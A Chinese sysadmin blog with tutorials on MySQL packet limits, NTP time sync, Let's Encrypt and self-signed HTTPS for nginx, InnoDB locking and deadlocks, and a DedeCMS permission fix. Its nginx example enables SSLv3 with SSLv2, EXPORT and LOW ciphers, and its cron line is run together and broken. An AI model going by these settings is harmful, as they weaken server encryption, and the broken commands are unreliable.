二皮博客
本类中发布与信息技术相关的博文，转载的请注明来源
还在纠结程序员工资高低？还在为程序员未来方向发愁？你有想过吗？程序员怎样变百万富翁，怎样实现一夜之间暴富，如何快速进入福布斯富豪榜？别想太多，好好敲代码吧！
sqlyog导入数据文件时，弹框报错：
There was an error while executing a query.
The query and the error message has been logged at:
C:\Users\liang\AppData\Roaming\SQLyog\sqlyog.err.
Please click on “Open Error File…” to open the error file.
解决方法如下：
找到/etc/my.cof文件，修改参数配置
max_allowed_packet=1M 改为 max_allowed_packet=700M 大小自定，够用就行
修改完毕后重启mysql服务
service mysql restart
进入mysql查看是否成功
show variables like ‘%max_allowed_packet%’;
再进行导入，OK
线上服务器，总是会发现时间与网络事件不同步的现象，现在教大家一个服务器自动同步时间的方法！
1,yum自动选择安装ntp，然后设置时区为北京，并更新服务器时间
|
// yum安装ntp
>yum -y install ntp// 删除本地时间文件 >rm -f /etc/localtime// 重新生成本地时间文件 >ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime// 去pool.ntp.org同步最新时间 >/usr/sbin/ntpdate -u pool.ntp.org |
2,crontab 添加自动同步时间的任务
|
// 编辑linux自动任务
>crontab -e## 设定每6小时同步一次 **/6 * * * /usr/sbin/ntpdate-u pool.ntp.org >/dev/null2>&1// 重启crond服务 >systemctl restart crond |
这篇文章讲述用letsencrypt在Linux centos7上生成ssl证书的操作流程。
1、安装letsencrypt，不知道git是什么的，自行阅读课外书，安装等待时间有点漫长。。。
git clone https://github.com/letsencrypt/letsencrypt
cd letsencrypt
./letsencrypt-auto --help
2、生成私钥
openssl genrsa 4096 > 2pea.com.key3、生成CSR(Certificate Signing Reqeust),后面要通过该文件，向 Let’s Encrypt 请求证书
openssl req -new -sha256 -key 2pea.com.key -out 2pea.com.csr
回车后，让输入国家（中国用 CN ）省（BeiJing）市(BeiJing),公司，部门 ，域名 等，域名为要进做https的域名比如博主用的是www.2pea.com,域名必须填写，其他可为空
4、向letsencrypt服务器发起获取证书的请求
./letsencrypt-auto certonly --authenticator manual --server https://acme-v01.api.letsencrypt.org/directory --text --email admin@2pea.com --csr 2pea.com.csr
输入完Y，在出现”Press ENTER to continue“时，不要动，进行下面第五步操作。（ssh远程登录，重新打开一个新窗口进行操作）
5、验证证书对应域名的所有权
官方给出了两种方法，本文只给出这一种方法。根据以下提供的提示信息，需要认证者在服务器上实现以下功能（下文中“*****”部分每次执行不一样），外网采用curl 请求该地址：http://www.2pea.com/.well-known/acme-challenge/*****1，要能够获得*****2的输出内容。
Make sure your web server displays the following content at
http://www.2pea.com/.well-known/acme-challenge/*****1 before continuing:
*****2
6、curl上文给出的地址，返回的结果确认和*****2一样，则回到第4步的操作窗口按回车键，证书创建成功，执行ls查看命令，发现返回3个pem文件其中：
0000_cert.pem 文件就是证书文件7、nginx进行一下改进：
server
{
listen 80;
server_name www.2pea.com;
rewrite ^(.*)$ https://$host$1 permanent; // 将所有请求指向https
}
server
{
listen 443;
#listen 80;
server_name www.2pea.com;
ssl on;
ssl_certificate /dir/0000_cert.pem;
ssl_certificate_key /dir/2pea.com.key;
ssl_session_timeout 10m;
ssl_protocols SSLv3 TLSv1;
ssl_ciphers ALL:!ADH:!EXPORT56:RC$+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
ssl_prefer_server_ciphers on;
…
}
秘钥和证书地址自己定义
Let’s Encrypt有效期只有3个月，作为懒人，肯定不会每间隔三个月上服务器上重新生成一遍证书的，还好Let’s Encrypt提供了自动更新证书的功能：
/root/letsencrypt/letsencrypt-auto renew
将该命令写入脚本然后添加自动任务，以后就不需要手动更新了。需要注意的是，执行该命令前需要关闭nginx，所以脚本内容可参考一下代码
service nginx stop
/root/letsencrypt/letsencrypt-auto renew
service nginx start
主要参考文章地址：http://www.cnblogs.com/dudu/p/letsencrypt-manual-https-cert.html，http://www.jb51.net/article/70640.htm
找到的最简单的搭建https的文章，面向lnmp
生成证书 1. 使用 openssl 生成密钥 privkey.pem：
openssl genrsa -out privkey.pem 1024/2038
2. 使用密钥生成证书 server.pem：
openssl req -new -x509 -key privkey.pem -out server.pem -days 365
证书信息可以随便填或者留空，只有 Common Name 要根据你的域名填写。
以我的个人网站为例
Common Name (e.g. server FQDN or YOUR name) []: wuyanxin.com
也可以通过*.yourdomain.com来匹配你的二级域名
配置nginx server { listen 443; server_name youdomain.com; ssl on; ssl_certificate /path/to/server.pem; ssl_certificate_key /path/to/privkey.pem; …}
验证配置，重启nginx
$ sudo nginx -t && sudo nginx -s reload 信任证书
这时访问你的站点会得到一个不安全提示，因为你的证书不是一个有效的证书颁发机构颁发的。
这时需要我们手动信任证书。
1 点击地址栏前面的红色感叹号，再点击“详细信息”
2 点击“View certification”
3 将上图中的证书拖拽到桌面，会在桌面生成一个“wuyanxin.com.cer”文件
4 双击打开，并输入密码
5 在列表中找到你的证书，双击打开
6 将证书改为“始终信任”，然后关闭窗口，输入密码
7 刷新页面，你将获得一个绿色小锁（valid HTTPS）
原地址：http://mt.sohu.com/20170106/n478007802.shtml
mysql 锁机制详解
|
请求锁模式
是否兼容
当前锁模式
|
None
|
读锁
|
写锁
|
|
读锁
|
是
|
是
|
否
|
|
写锁
|
是
|
否
|
否
|
|
session_1
|
session_2
|
|
获得表film_text的WRITE锁定
mysql> lock table film_text write;
Query OK, 0 rows affected (0.00 sec)
|
|
|
当前session对锁定表的查询、更新、插入操作都可以执行：
mysql> select film_id,title from film_text where film_id = 1001;
+———+————-+
| film_id | title |
+———+————-+
| 1001 | Update Test |
+———+————-+
1 row in set (0.00 sec)
mysql> insert into film_text (film_id,title) values(1003,’Test’);
Query OK, 1 row affected (0.00 sec)
mysql> update film_text set title = ‘Test’ where film_id = 1001;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
|
其他session对锁定表的查询被阻塞，需要等待锁被释放：
mysql> select film_id,title from film_text where film_id = 1001;
等待
|
|
释放锁：
mysql> unlock tables;
Query OK, 0 rows affected (0.00 sec)
|
等待
|
|
Session2获得锁，查询返回：
mysql> select film_id,title from film_text where film_id = 1001;
+———+——-+
| film_id | title |
+———+——-+
| 1001 | Test |
+———+——-+
1 row in set (57.59 sec)
|
|
session_1
|
session_2
|
|
获得表film_text的READ锁定
mysql> lock table film_text read;
Query OK, 0 rows affected (0.00 sec)
|
|
|
当前session可以查询该表记录
mysql> select film_id,title from film_text where film_id = 1001;
+———+——————+
| film_id | title |
+———+——————+
| 1001 | ACADEMY DINOSAUR |
+———+——————+
1 row in set (0.00 sec)
|
其他session也可以查询该表的记录
mysql> select film_id,title from film_text where film_id = 1001;
+———+——————+
| film_id | title |
+———+——————+
| 1001 | ACADEMY DINOSAUR |
+———+——————+
1 row in set (0.00 sec)
|
|
当前session不能查询没有锁定的表
mysql> select film_id,title from film where film_id = 1001;
ERROR 1100 (HY000): Table ‘film’ was not locked with LOCK TABLES
|
其他session可以查询或者更新未锁定的表
mysql> select film_id,title from film where film_id = 1001;
+———+—————+
| film_id | title |
+———+—————+
| 1001 | update record |
+———+—————+
1 row in set (0.00 sec)
mysql> update film set title = ‘Test’ where film_id = 1001;
Query OK, 1 row affected (0.04 sec)
Rows matched: 1 Changed: 1 Warnings: 0
|
|
当前session中插入或者更新锁定的表都会提示错误：
mysql> insert into film_text (film_id,title) values(1002,’Test’);
ERROR 1099 (HY000): Table ‘film_text’ was locked with a READ lock and can’t be updated
mysql> update film_text set title = ‘Test’ where film_id = 1001;
ERROR 1099 (HY000): Table ‘film_text’ was locked with a READ lock and can’t be updated
|
其他session更新锁定表会等待获得锁：
mysql> update film_text set title = ‘Test’ where film_id = 1001;
等待
|
|
释放锁
mysql> unlock tables;
Query OK, 0 rows affected (0.00 sec)
|
等待
|
|
Session获得锁，更新操作完成：
mysql> update film_text set title = ‘Test’ where film_id = 1001;
Query OK, 1 row affected (1 min 0.71 sec)
Rows matched: 1 Changed: 1 Warnings: 0
|
|
session_1
|
session_2
|
|
获得表film_text的READ LOCAL锁定
mysql> lock table film_text read local;
Query OK, 0 rows affected (0.00 sec)
|
|
|
当前session不能对锁定表进行更新或者插入操作：
mysql> insert into film_text (film_id,title) values(1002,’Test’);
ERROR 1099 (HY000): Table ‘film_text’ was locked with a READ lock and can’t be updated
mysql> update film_text set title = ‘Test’ where film_id = 1001;
ERROR 1099 (HY000): Table ‘film_text’ was locked with a READ lock and can’t be updated
|
其他session可以进行插入操作，但是更新会等待：
mysql> insert into film_text (film_id,title) values(1002,’Test’);
Query OK, 1 row affected (0.00 sec)
mysql> update film_text set title = ‘Update Test’ where film_id = 1001;
等待
|
|
当前session不能访问其他session插入的记录：
mysql> select film_id,title from film_text where film_id = 1002;
Empty set (0.00 sec)
|
|
|
释放锁：
mysql> unlock tables;
Query OK, 0 rows affected (0.00 sec)
|
等待
|
|
当前session解锁后可以获得其他session插入的记录：
mysql> select film_id,title from film_text where film_id = 1002;
+———+——-+
| film_id | title |
+———+——-+
| 1002 | Test |
+———+——-+
1 row in set (0.00 sec)
|
Session2获得锁，更新操作完成：
mysql> update film_text set title = ‘Update Test’ where film_id = 1001;
Query OK, 1 row affected (1 min 17.75 sec)
Rows matched: 1 Changed: 1 Warnings: 0
|
|
读数据一致性及允许的并发副作用
隔离级别
|
读数据一致性
|
脏读
|
不可重复读
|
幻读
|
|
未提交读（Read uncommitted）
|
最低级别，只能保证不读取物理上损坏的数据
|
是
|
是
|
是
|
|
已提交度（Read committed）
|
语句级
|
否
|
是
|
是
|
|
可重复读（Repeatable read）
|
事务级
|
否
|
否
|
是
|
|
可序列化（Serializable）
|
最高级别，事务级
|
否
|
否
|
否
|
|
请求锁模式
是否兼容
当前锁模式
|
X
|
IX
|
S
|
IS
|
|
X
|
冲突
|
冲突
|
冲突
|
冲突
|
|
IX
|
冲突
|
兼容
|
冲突
|
兼容
|
|
S
|
冲突
|
冲突
|
兼容
|
兼容
|
|
IS
|
冲突
|
兼容
|
兼容
|
兼容
|
|
session_1
|
session_2
|
|
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
mysql> select actor_id,first_name,last_name from actor where actor_id = 178;
+———-+————+———–+
| actor_id | first_name | last_name |
+———-+————+———–+
| 178 | LISA | MONROE |
+———-+————+———–+
1 row in set (0.00 sec)
|
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
mysql> select actor_id,first_name,last_name from actor where actor_id = 178;
+———-+————+———–+
| actor_id | first_name | last_name |
+———-+————+———–+
| 178 | LISA | MONROE |
+———-+————+———–+
1 row in set (0.00 sec)
|
|
当前session对actor_id=178的记录加share mode 的共享锁：
mysql> select actor_id,first_name,last_name from actor where actor_id = 178lock in share mode;
+———-+————+———–+
| actor_id | first_name | last_name |
+———-+————+———–+
| 178 | LISA | MONROE |
+———-+————+———–+
1 row in set (0.01 sec)
|
|
|
其他session仍然可以查询记录，并也可以对该记录加share mode的共享锁：
mysql> select actor_id,first_name,last_name from actor where actor_id = 178lock in share mode;
+———-+————+———–+
| actor_id | first_name | last_name |
+———-+————+———–+
| 178 | LISA | MONROE |
+———-+————+———–+
1 row in set (0.01 sec)
|
|
|
当前session对锁定的记录进行更新操作，等待锁：
mysql> update actor set last_name = ‘MONROE T’ where actor_id = 178;
等待
|
|
|
其他session也对该记录进行更新操作，则会导致死锁退出：
mysql> update actor set last_name = ‘MONROE T’ where actor_id = 178;
ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction
|
|
|
获得锁后，可以成功更新：
mysql> update actor set last_name = ‘MONROE T’ where actor_id = 178;
Query OK, 1 row affected (17.67 sec)
Rows matched: 1 Changed: 1 Warnings: 0
|
|
session_1
|
session_2
|
|
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
mysql> select actor_id,first_name,last_name from actor where actor_id = 178;
+———-+————+———–+
| actor_id | first_name | last_name |
+———-+————+———–+
| 178 | LISA | MONROE |
+———-+————+———–+
1 row in set (0.00 sec)
|
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
mysql> select actor_id,first_name,last_name from actor where actor_id = 178;
+———-+————+———–+
| actor_id | first_name | last_name |
+———-+————+———–+
| 178 | LISA | MONROE |
+———-+————+———–+
1 row in set (0.00 sec)
|
|
当前session对actor_id=178的记录加for update的排它锁：
mysql> select actor_id,first_name,last_name from actor where actor_id = 178 for update;
+———-+————+———–+
| actor_id | first_name | last_name |
+———-+————+———–+
| 178 | LISA | MONROE |
+———-+————+———–+
1 row in set (0.00 sec)
|
|
|
其他session可以查询该记录，但是不能对该记录加共享锁，会等待获得锁：
mysql> select actor_id,first_name,last_name from actor where actor_id = 178;
+———-+————+———–+
| actor_id | first_name | last_name |
+———-+————+———–+
| 178 | LISA | MONROE |
+———-+————+———–+
1 row in set (0.00 sec)
mysql> select actor_id,first_name,last_name from actor where actor_id = 178 for update;
等待
|
|
|
当前session可以对锁定的记录进行更新操作，更新后释放锁：
mysql> update actor set last_name = ‘MONROE T’ where actor_id = 178;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> commit;
Query OK, 0 rows affected (0.01 sec)
|
|
|
其他session获得锁，得到其他session提交的记录：
mysql> select actor_id,first_name,last_name from actor where actor_id = 178 for update;
+———-+————+———–+
| actor_id | first_name | last_name |
+———-+————+———–+
| 178 | LISA | MONROE T |
+———-+————+———–+
1 row in set (9.59 sec)
|
|
session_1
|
session_2
|
|
mysql> set autocommit=0;
Query OK, 0 rows affected (0.00 sec)
mysql> select * from tab_no_index where id = 1 ;
+——+——+
| id | name |
+——+——+
| 1 | 1 |
+——+——+
1 row in set (0.00 sec)
|
mysql> set autocommit=0;
Query OK, 0 rows affected (0.00 sec)
mysql> select * from tab_no_index where id = 2 ;
+——+——+
| id | name |
+——+——+
| 2 | 2 |
+——+——+
1 row in set (0.00 sec)
|
|
mysql> select * from tab_no_index where id = 1 for update;
+——+——+
| id | name |
+——+——+
| 1 | 1 |
+——+——+
1 row in set (0.00 sec)
|
|
|
mysql> select * from tab_no_index where id = 2 for update;
等待
|
|
session_1
|
session_2
|
|
mysql> set autocommit=0;
Query OK, 0 rows affected (0.00 sec)
mysql> select * from tab_with_index where id = 1 ;
+——+——+
| id | name |
+——+——+
| 1 | 1 |
+——+——+
1 row in set (0.00 sec)
|
mysql> set autocommit=0;
Query OK, 0 rows affected (0.00 sec)
mysql> select * from tab_with_index where id = 2 ;
+——+——+
| id | name |
+——+——+
| 2 | 2 |
+——+——+
1 row in set (0.00 sec)
|
|
mysql> select * from tab_with_index where id = 1 for update;
+——+——+
| id | name |
+——+——+
| 1 | 1 |
+——+——+
1 row in set (0.00 sec)
|
|
|
mysql> select * from tab_with_index where id = 2 for update;
+——+——+
| id | name |
+——+——+
| 2 | 2 |
+——+——+
1 row in set (0.00 sec)
|
|
session_1
|
session_2
|
|
mysql> set autocommit=0;
Query OK, 0 rows affected (0.00 sec)
|
mysql> set autocommit=0;
Query OK, 0 rows affected (0.00 sec)
|
|
mysql> select * from tab_with_index where id = 1 and name = ‘1’ for update;
+——+——+
| id | name |
+——+——+
| 1 | 1 |
+——+——+
1 row in set (0.00 sec)
|
|
|
虽然session_2访问的是和session_1不同的记录，但是因为使用了相同的索引，所以需要等待锁：
mysql> select * from tab_with_index where id = 1 and name = ‘4’ for update;
等待
|
|
session_1
|
session_2
|
|
mysql> set autocommit=0;
Query OK, 0 rows affected (0.00 sec)
|
mysql> set autocommit=0;
Query OK, 0 rows affected (0.00 sec)
|
|
mysql> select * from tab_with_index where id = 1 for update;
+——+——+
| id | name |
+——+——+
| 1 | 1 |
| 1 | 4 |
+——+——+
2 rows in set (0.00 sec)
|
|
|
Session_2使用name的索引访问记录，因为记录没有被索引，所以可以获得锁：
mysql> select * from tab_with_index where name = ‘2’ for update;
+——+——+
| id | name |
+——+——+
| 2 | 2 |
+——+——+
1 row in set (0.00 sec)
|
|
|
由于访问的记录已经被session_1锁定，所以等待获得锁。：
mysql> select * from tab_with_index where name = ‘4’ for update;
|
|
session_1
|
session_2
|
|
mysql> select @@tx_isolation;
+—————–+
| @@tx_isolation |
+—————–+
| REPEATABLE-READ |
+—————–+
1 row in set (0.00 sec)
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
|
mysql> select @@tx_isolation;
+—————–+
| @@tx_isolation |
+—————–+
| REPEATABLE-READ |
+—————–+
1 row in set (0.00 sec)
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
|
|
当前session对不存在的记录加for update的锁：
mysql> select * from emp where empid = 102 for update;
Empty set (0.00 sec)
|
|
|
这时，如果其他session插入empid为102的记录（注意：这条记录并不存在），也会出现锁等待：
mysql>insert into emp(empid,…) values(102,…);
阻塞等待
|
|
|
Session_1 执行rollback：
mysql> rollback;
Query OK, 0 rows affected (13.04 sec)
|
|
|
由于其他session_1回退后释放了Next-Key锁，当前session可以获得锁并成功插入记录：
mysql>insert into emp(empid,…) values(102,…);
Query OK, 1 row affected (13.35 sec)
|
|
session_1
|
session_2
|
|
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
mysql> select * from target_tab;
Empty set (0.00 sec)
mysql> select * from source_tab where name = ‘1’;
+—-+——+—-+
| d1 | name | d2 |
+—-+——+—-+
| 4 | 1 | 1 |
| 5 | 1 | 1 |
| 6 | 1 | 1 |
| 7 | 1 | 1 |
| 8 | 1 | 1 |
+—-+——+—-+
5 rows in set (0.00 sec)
|
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
mysql> select * from target_tab;
Empty set (0.00 sec)
mysql> select * from source_tab where name = ‘1’;
+—-+——+—-+
| d1 | name | d2 |
+—-+——+—-+
| 4 | 1 | 1 |
| 5 | 1 | 1 |
| 6 | 1 | 1 |
| 7 | 1 | 1 |
| 8 | 1 | 1 |
+—-+——+—-+
5 rows in set (0.00 sec)
|
|
mysql> insert into target_tab select d1,name from source_tab where name = ‘1’;
Query OK, 5 rows affected (0.00 sec)
Records: 5 Duplicates: 0 Warnings: 0
|
|
|
mysql> update source_tab set name = ‘1’ where name = ‘8’;
等待
|
|
|
commit;
|
|
|
返回结果
commit;
|
|
session_1
|
session_2
|
|
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
mysql>set innodb_locks_unsafe_for_binlog=’on’
Query OK, 0 rows affected (0.00 sec)
mysql> select * from target_tab;
Empty set (0.00 sec)
mysql> select * from source_tab where name = ‘1’;
+—-+——+—-+
| d1 | name | d2 |
+—-+——+—-+
| 4 | 1 | 1 |
| 5 | 1 | 1 |
| 6 | 1 | 1 |
| 7 | 1 | 1 |
| 8 | 1 | 1 |
+—-+——+—-+
5 rows in set (0.00 sec)
|
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
mysql> select * from target_tab;
Empty set (0.00 sec)
mysql> select * from source_tab where name = ‘1’;
+—-+——+—-+
| d1 | name | d2 |
+—-+——+—-+
| 4 | 1 | 1 |
| 5 | 1 | 1 |
| 6 | 1 | 1 |
| 7 | 1 | 1 |
| 8 | 1 | 1 |
+—-+——+—-+
5 rows in set (0.00 sec)
|
|
mysql> insert into target_tab select d1,name from source_tab where name = ‘1’;
Query OK, 5 rows affected (0.00 sec)
Records: 5 Duplicates: 0 Warnings: 0
|
|
|
session_1未提交，可以对session_1的select的记录进行更新操作。
mysql> update source_tab set name = ‘8’ where name = ‘1’;
Query OK, 5 rows affected (0.00 sec)
Rows matched: 5 Changed: 5 Warnings: 0
mysql> select * from source_tab where name = ‘8’;
+—-+——+—-+
| d1 | name | d2 |
+—-+——+—-+
| 4 | 8 | 1 |
| 5 | 8 | 1 |
| 6 | 8 | 1 |
| 7 | 8 | 1 |
| 8 | 8 | 1 |
+—-+——+—-+
5 rows in set (0.00 sec)
|
|
|
更新操作先提交
mysql> commit;
Query OK, 0 rows affected (0.05 sec)
|
|
|
插入操作后提交
mysql> commit;
Query OK, 0 rows affected (0.07 sec)
|
|
|
此时查看数据，target_tab中可以插入source_tab更新前的结果，这符合应用逻辑：
mysql> select * from source_tab where name = ‘8’;
+—-+——+—-+
| d1 | name | d2 |
+—-+——+—-+
| 4 | 8 | 1 |
| 5 | 8 | 1 |
| 6 | 8 | 1 |
| 7 | 8 | 1 |
| 8 | 8 | 1 |
+—-+——+—-+
5 rows in set (0.00 sec)
mysql> select * from target_tab;
+——+——+
| id | name |
+——+——+
| 4 | 1.00 |
| 5 | 1.00 |
| 6 | 1.00 |
| 7 | 1.00 |
| 8 | 1.00 |
+——+——+
5 rows in set (0.00 sec)
|
mysql> select * from tt1 where name = ‘1’;
Empty set (0.00 sec)
mysql> select * from source_tab where name = ‘8’;
+—-+——+—-+
| d1 | name | d2 |
+—-+——+—-+
| 4 | 8 | 1 |
| 5 | 8 | 1 |
| 6 | 8 | 1 |
| 7 | 8 | 1 |
| 8 | 8 | 1 |
+—-+——+—-+
5 rows in set (0.00 sec)
mysql> select * from target_tab;
+——+——+
| id | name |
+——+——+
| 4 | 1.00 |
| 5 | 1.00 |
| 6 | 1.00 |
| 7 | 1.00 |
| 8 | 1.00 |
+——+——+
5 rows in set (0.00 sec)
|
|
隔离级别
一致性读和锁
SQL
|
Read Uncommited
|
Read Commited
|
Repeatable Read
|
Serializable
|
|
|
SQL
|
条件
|
||||
|
select
|
相等
|
None locks
|
Consisten read/None lock
|
Consisten read/None lock
|
Share locks
|
|
范围
|
None locks
|
Consisten read/None lock
|
Consisten read/None lock
|
Share Next-Key
|
|
|
update
|
相等
|
exclusive locks
|
exclusive locks
|
exclusive locks
|
Exclusive locks
|
|
范围
|
exclusive next-key
|
exclusive next-key
|
exclusive next-key
|
exclusive next-key
|
|
|
Insert
|
N/A
|
exclusive locks
|
exclusive locks
|
exclusive locks
|
exclusive locks
|
|
replace
|
无键冲突
|
exclusive locks
|
exclusive locks
|
exclusive locks
|
exclusive locks
|
|
键冲突
|
exclusive next-key
|
exclusive next-key
|
exclusive next-key
|
exclusive next-key
|
|
|
delete
|
相等
|
exclusive locks
|
exclusive locks
|
exclusive locks
|
exclusive locks
|
|
范围
|
exclusive next-key
|
exclusive next-key
|
exclusive next-key
|
exclusive next-key
|
|
|
Select … from … Lock in share mode
|
相等
|
Share locks
|
Share locks
|
Share locks
|
Share locks
|
|
范围
|
Share locks
|
Share locks
|
Share Next-Key
|
Share Next-Key
|
|
|
Select * from … For update
|
相等
|
exclusive locks
|
exclusive locks
|
exclusive locks
|
exclusive locks
|
|
范围
|
exclusive locks
|
Share locks
|
exclusive next-key
|
exclusive next-key
|
|
|
Insert into … Select …
（指源表锁）
|
innodb_locks_unsafe_for_binlog=off
|
Share Next-Key
|
Share Next-Key
|
Share Next-Key
|
Share Next-Key
|
|
innodb_locks_unsafe_for_binlog=on
|
None locks
|
Consisten read/None lock
|
Consisten read/None lock
|
Share Next-Key
|
|
|
create table … Select …
（指源表锁）
|
innodb_locks_unsafe_for_binlog=off
|
Share Next-Key
|
Share Next-Key
|
Share Next-Key
|
Share Next-Key
|
|
innodb_locks_unsafe_for_binlog=on
|
None locks
|
Consisten read/None lock
|
Consisten read/None lock
|
Share Next-Key
|
|
|
session_1
|
session_2
|
|
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
mysql> select * from table_1 where where id=1 for update;
…
做一些其他处理…
|
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
mysql> select * from table_2 where id=1 for update;
…
|
|
select * from table_2 where id =1 for update;
因session_2已取得排他锁，等待
|
做一些其他处理…
|
|
mysql> select * from table_1 where where id=1 for update;
死锁
|
|
session_1
|
session_2
|
|
mysql> set autocommit=0;
Query OK, 0 rows affected (0.00 sec)
|
mysql> set autocommit=0;
Query OK, 0 rows affected (0.00 sec)
|
|
mysql> select first_name,last_name from actor where actor_id = 1 for update;
+————+———–+
| first_name | last_name |
+————+———–+
| PENELOPE | GUINESS |
+————+———–+
1 row in set (0.00 sec)
|
|
|
mysql> insert into country (country_id,country) values(110,’Test’);
Query OK, 1 row affected (0.00 sec)
|
|
|
mysql> insert into country (country_id,country) values(110,’Test’);
等待
|
|
|
mysql> select first_name,last_name from actor where actor_id = 1 for update;
+————+———–+
| first_name | last_name |
+————+———–+
| PENELOPE | GUINESS |
+————+———–+
1 row in set (0.00 sec)
|
|
|
mysql> insert into country (country_id,country) values(110,’Test’);
ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction
|
|
session_1
|
session_2
|
|
mysql> set autocommit=0;
Query OK, 0 rows affected (0.00 sec)
|
mysql> set autocommit=0;
Query OK, 0 rows affected (0.00 sec)
|
|
mysql> select first_name,last_name from actor where actor_id = 1 for update;
+————+———–+
| first_name | last_name |
+————+———–+
| PENELOPE | GUINESS |
+————+———–+
1 row in set (0.00 sec)
|
|
|
mysql> select first_name,last_name from actor where actor_id = 3 for update;
+————+———–+
| first_name | last_name |
+————+———–+
| ED | CHASE |
+————+———–+
1 row in set (0.00 sec)
|
|
|
mysql> select first_name,last_name from actor where actor_id = 3 for update;
等待
|
|
|
mysql> select first_name,last_name from actor where actor_id = 1 for update;
ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction
|
|
|
mysql> select first_name,last_name from actor where actor_id = 3 for update;
+————+———–+
| first_name | last_name |
+————+———–+
| ED | CHASE |
+————+———–+
1 row in set (4.71 sec)
|
|
session_1
|
session_2
|
|
mysql> select @@tx_isolation;
+—————–+
| @@tx_isolation |
+—————–+
| REPEATABLE-READ |
+—————–+
1 row in set (0.00 sec)
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
|
mysql> select @@tx_isolation;
+—————–+
| @@tx_isolation |
+—————–+
| REPEATABLE-READ |
+—————–+
1 row in set (0.00 sec)
mysql> set autocommit = 0;
Query OK, 0 rows affected (0.00 sec)
|
|
当前session对不存在的记录加for update的锁：
mysql> select actor_id,first_name,last_name from actor where actor_id = 201 for update;
Empty set (0.00 sec)
|
|
|
其他session也可以对不存在的记录加for update的锁：
mysql> select actor_id,first_name,last_name from actor where actor_id = 201 for update;
Empty set (0.00 sec)
|
|
|
因为其他session也对该记录加了锁，所以当前的插入会等待：
mysql> insert into actor (actor_id , first_name , last_name) values(201,’Lisa’,’Tom’);
等待
|
|
|
因为其他session已经对记录进行了更新，这时候再插入记录就会提示死锁并退出：
mysql> insert into actor (actor_id, first_name , last_name) values(201,’Lisa’,’Tom’);
ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction
|
|
|
由于其他session已经退出，当前session可以获得锁并成功插入记录：
mysql> insert into actor (actor_id , first_name , last_name) values(201,’Lisa’,’Tom’);
Query OK, 1 row affected (13.35 sec)
|
|
session_1
|
session_2
|
session_3
|
|
mysql> select @@tx_isolation;
+—————-+
| @@tx_isolation |
+—————-+
| READ-COMMITTED |
+—————-+
1 row in set (0.00 sec)
mysql> set autocommit=0;
Query OK, 0 rows affected (0.01 sec)
|
mysql> select @@tx_isolation;
+—————-+
| @@tx_isolation |
+—————-+
| READ-COMMITTED |
+—————-+
1 row in set (0.00 sec)
mysql> set autocommit=0;
Query OK, 0 rows affected (0.01 sec)
|
mysql> select @@tx_isolation;
+—————-+
| @@tx_isolation |
+—————-+
| READ-COMMITTED |
+—————-+
1 row in set (0.00 sec)
mysql> set autocommit=0;
Query OK, 0 rows affected (0.01 sec)
|
|
Session_1获得for update的共享锁：
mysql> select actor_id, first_name,last_name from actor where actor_id = 201 for update;
Empty set (0.00 sec)
|
由于记录不存在，session_2也可以获得for update的共享锁：
mysql> select actor_id, first_name,last_name from actor where actor_id = 201 for update;
Empty set (0.00 sec)
|
|
|
Session_1可以成功插入记录：
mysql> insert into actor (actor_id,first_name,last_name) values(201,’Lisa’,’Tom’);
Query OK, 1 row affected (0.00 sec)
|
||
|
Session_2插入申请等待获得锁：
mysql> insert into actor (actor_id,first_name,last_name) values(201,’Lisa’,’Tom’);
等待
|
||
|
Session_1成功提交：
mysql> commit;
Query OK, 0 rows affected (0.04 sec)
|
||
|
Session_2获得锁，发现插入记录主键重，这个时候抛出了异常，但是并没有释放共享锁：
mysql> insert into actor (actor_id,first_name,last_name) values(201,’Lisa’,’Tom’);
ERROR 1062 (23000): Duplicate entry ‘201’ for key ‘PRIMARY’
|
||
|
Session_3申请获得共享锁，因为session_2已经锁定该记录，所以session_3需要等待：
mysql> select actor_id, first_name,last_name from actor where actor_id = 201 for update;
等待
|
||
|
这个时候，如果session_2直接对记录进行更新操作，则会抛出死锁的异常：
mysql> update actor set last_name=’Lan’ where actor_id = 201;
ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction
|
||
|
Session_2释放锁后，session_3获得锁：
mysql> select first_name, last_name from actor where actor_id = 201 for update;
+————+———–+
| first_name | last_name |
+————+———–+
| Lisa | Tom |
+————+———–+
1 row in set (31.12 sec)
|
dede common.inc.php这个文件总是777权限的解决方案
今天无忧主机小编给无忧主机客户在免备案空间安装好dedecms之后，过了没有多久客户找过说是后台提示有安全的问题，于是进去查看了一下common.inc.php这个文件是777权限，按照官方的要求必须是644权限，所以去修改之后刷新了一下又变回了777权限。那么经过精心的去发现以及查看资料终于得到了解决方案。
于是乎无忧主机小编猜测是有文件该文件有写入权限，把权限改了444后问题依然。如何解决？通过测试在后台的点击其它页面文件权限不会改变，那就是一登陆主页产生的写入权限。
接下来无忧主机小编就给大家说说如何解决：
找到目录下的dede/templets下的index_body.htm，全部删除测试看看是不是不会有这样的问题了。后来发现有一个js文件不加载就可以了。
下接将文件的这个js 去掉 就可以了
1 |
<script language="javascript" src="js/drag.js"></script> |
其它不会有这问题的，可将这个common.inc.php改为444，后台就不会再有提示，并且不会自动更改了，如图1所示：
在刷新下，发现没有提示安全问题了，如图2所示：
